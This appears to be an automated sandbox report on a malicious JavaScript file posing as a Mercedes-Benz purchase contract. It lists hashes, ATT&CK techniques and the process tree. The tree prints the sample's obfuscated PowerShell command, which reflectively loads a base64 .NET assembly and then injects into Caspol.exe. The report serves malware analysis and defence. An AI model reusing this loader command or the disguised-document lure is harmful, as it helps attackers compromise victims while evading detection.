ef5a032ba5b84575f800c9836e13d3a8f0ed39e3363408709ebb0c5455720d24

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 16:17

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General

Target
kaufvertrag_Mercedes-Benz_A250E_doc0325003209592.js
Size 5.2MB
Sample260930-trfm6sxt6q
SHA256 ef5a032ba5b84575f800c9836e13d3a8f0ed39e3363408709ebb0c5455720d24
MD5 7565af9c9adde6727c9d270fa9679f38
SHA1 8d43ae2c0df8811a726a380c46d39f6951d16818
SHA512 09963b1242f5f70bd6759f53573b98c821c830a6fc9279e03e3aaf0e445cd3e7c6886619414e99e48d9df16192d595f3829c1f37acd265402892a2e3470b7e91
SSDEEP 1536:f5QrfFjCkggfYaBpxegOKo+/W+7DBI0q7vZ8tese2OFOc3P6OVDmMWMUH+8ZrgMj:UQtpz0klCR
TLSH
T17F46498C560B892CCF44DB446671E73859662F72C4A6099C6ABB5E3BF8CDB97C039730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5808	3188	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5808	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5808	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5808 set thread context of 2572	5808	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5808	powershell.exe
5808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5808	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5808 wrote to memory of 2572	5808	powershell.exe	92
PID 5808 wrote to memory of 2572	5808	powershell.exe	92
PID 5808 wrote to memory of 2572	5808	powershell.exe	92
PID 5808 wrote to memory of 2572	5808	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kaufvertrag_Mercedes-Benz_A250E_doc0325003209592.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$rambutan=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$Clive=[System.Reflection.Assembly]::Load([Convert]::FromBase64String($rambutan));[Win32.RMP.Cls_EXHAQWVkrR]::Met_XHRVcVelqMgq('pX8ZwaRhEvqxQUliJ2AmboMDxXU7F5Iru8BvVCPBrSjFELXYGFIQMR++1vKtAqyIneZNGWA/ptKyVQgYUuhu7A==','','mHVLqbm2F2DDi1tYJZu+Nnofdq2+lPFO6VDGpjqQXu1fmbCqUeQKfgGuXbJ5NEAP','xNMNIM+725A6cJeH25NOqkLg7C3PbDQ5apvqBCnx+f4=','f12WD6mPpLqSPp9CWkbwlRR10GNq/+FEtiCvUqCpMcg=','','55a+y2Zj/WO01qZabQo8vQF4dVVJWqiNFqoXTdXhfy4=','','RsojAscFBEtlKm6ovEeFPwwy8QK1CpieRb9q9Cw/gMA=','1k6qL/m69HKHwFtaisTWLCpciV0qKm2rKr7VEt9EVyo29QXfRnOJg+z9FRLzqAjm','ihCYHkHdeM6mbDeWKmdeOXo23cZmOql4FVHNJObjnYM=','MUxIQ8p3eANRpRPT+quFEj2M/vpIjdpxgWazV4XNMpg=','el/wvBMiyiDMANoHZ9FBVWbSxjxglol+/frZXu5btAI=','','uy3HUHuNn7+8XWaeof4zYFUpvRR75u0igVAIGk/Z4EE=','9bpygTPNUyOVevfGbDQUguhQko7yvGHg12AdBhqwZcQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5808
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  2⤵
  PID:2572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2572-20-0x0000000000400000-0x00000000004D2000-memory.dmp

Download

memory/5808-12-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-13-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-5-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-0-0x00007FFBEF96F000-0x00007FFBEF970000-memory.dmp

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memory/5808-7-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-8-0x0000028CF7E90000-0x0000028CF7EB2000-memory.dmp

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memory/5808-9-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-10-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-2-0x0000028CF7C50000-0x0000028CF7C72000-memory.dmp

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memory/5808-11-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-6-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-14-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-15-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-16-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-17-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-18-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-19-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-1-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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memory/5808-22-0x00007FFBEF7E0000-0x00007FFBF0184000-memory.dmp

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